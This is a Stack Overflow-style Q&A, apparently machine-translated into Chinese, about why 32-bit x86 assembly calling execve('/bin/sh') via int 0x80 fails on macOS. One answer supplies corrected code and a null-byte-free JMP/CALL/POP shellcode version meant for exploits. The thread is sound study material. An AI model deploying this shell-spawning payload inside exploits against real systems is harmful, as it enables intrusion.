为什么系统调用不起作用?

时间:2017-04-16 18:20:01

标签: macos assembly x86 nasm shellcode

我在MAC OSX上,我试图通过程序集调用execve系统调用程序。 他的操作码是59。 在linux中我必须将操作码设置为eax,然后将参数设置到其他寄存器中,但是这里我必须将操作码放入eax并将参数从右向左推入堆栈。

所以我需要execve(" / bin / sh",NULL,NULL),我发现装配null = 0的地方,所以我将null放入第2和第3个参数。

global start 
section .text
start:
    jmp string
main: 
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    pop ebx             ;stringa
    push 0x0            ;3rd param
    push 0x0            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    int 0x80
string:
    call main
    db '/bin/sh',0

当我尝试执行时说: 系统调用错误:12

2 个答案:

答案 0 :(得分:7)

如果您打算直接调用int 0x80 BSD (OS / X所基于的)上的32位程序要求您将额外的4个字节压入堆栈。从FreeBSD documentation您会发现:

  

默认情况下,FreeBSD内核使用C调用约定。此外,尽管使用int 80h访问内核,但假设程序将调用一个发出int 80h的函数,而不是直接发出int 80h。

     

[剪断]

     

但汇编语言程序员喜欢削减周期。上面的例子需要一个call / ret组合。我们可以通过推动额外的双关语来消除它:

open:
push    dword mode
push    dword flags
push    dword path
mov eax, 5
push    eax     ; Or any other dword
int 80h
add esp, byte 16

调用int 0x80时,需要将堆栈指针调整为4.推送任何值都可以实现此目的。在示例中,他们只执行push eax。在调用int 0x80之前将4个字节压入堆栈。

你的另一个问题是add eax,0x3b例如要求 EAX 已经为零,这几乎不是这种情况。要解决此问题,请在代码中添加xor eax, eax

修复程序可能类似于:

global start
section .text
start:
    jmp string
main:
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    xor eax, eax        ;zero EAX
    pop ebx             ;stringa
    push 0x0            ;3rd param
    push 0x0            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    push eax            ;Push a 4 byte value after parameters per calling convention
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    push eax            ;Push a 4 byte value after parameters per calling convention
                        ; in this case though it won't matter since the system call
                        ; won't be returning
    int 0x80
string:
    call main
    db '/bin/sh',0

的Shellcode

您的代码实际上称为 JMP / CALL / POP 方法,用于编写漏洞利用程序。您是在撰写漏洞利用程序还是只是在线查找此代码?如果要将其用作shell代码,则需要避免在输出字符串中放入0x00字节。 push 0x00将在生成的代码中编码0x00字节。为了避免这种情况,我们可以使用 EAX ,我们现在将其归零并将其推送到堆栈上。同样,你不能终止字符串,因此你必须将NUL(0)字符移动到字符串中。将 EAX 和弹出 EBX 归零后的一种方法是使用类似mov [ebx+7], al的方法手动将零移动到字符串的末尾。七是字符串/bin/sh结束后的索引。您的代码将如下所示:

global start
section .text
start:
    jmp string
main:
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    xor eax, eax        ;Zero EAX
    pop ebx             ;stringa
    mov [ebx+7], al     ;append a zero onto the end of the string '/bin/sh' 
    push eax            ;3rd param
    push eax            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    push eax
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    push eax
    int 0x80
string:
    call main
    db '/bin/sh',1

答案 1 :(得分:1)

您正在使用64位系统调用号和32位指令来跳转到系统调用。那是行不通的。

对于32位用户:

适用于Linux / MacOS执行程序的操作码:11
调用syscall的指令:int 0x80

对于64位用户:

Linux execve的操作码:59(MacOS 64位系统调用也设置有高位)。
调用syscall的指令:syscall

将args传递给系统调用的方法也有所不同:32位使用堆栈,64位使用类似于函数调用约定的寄存器。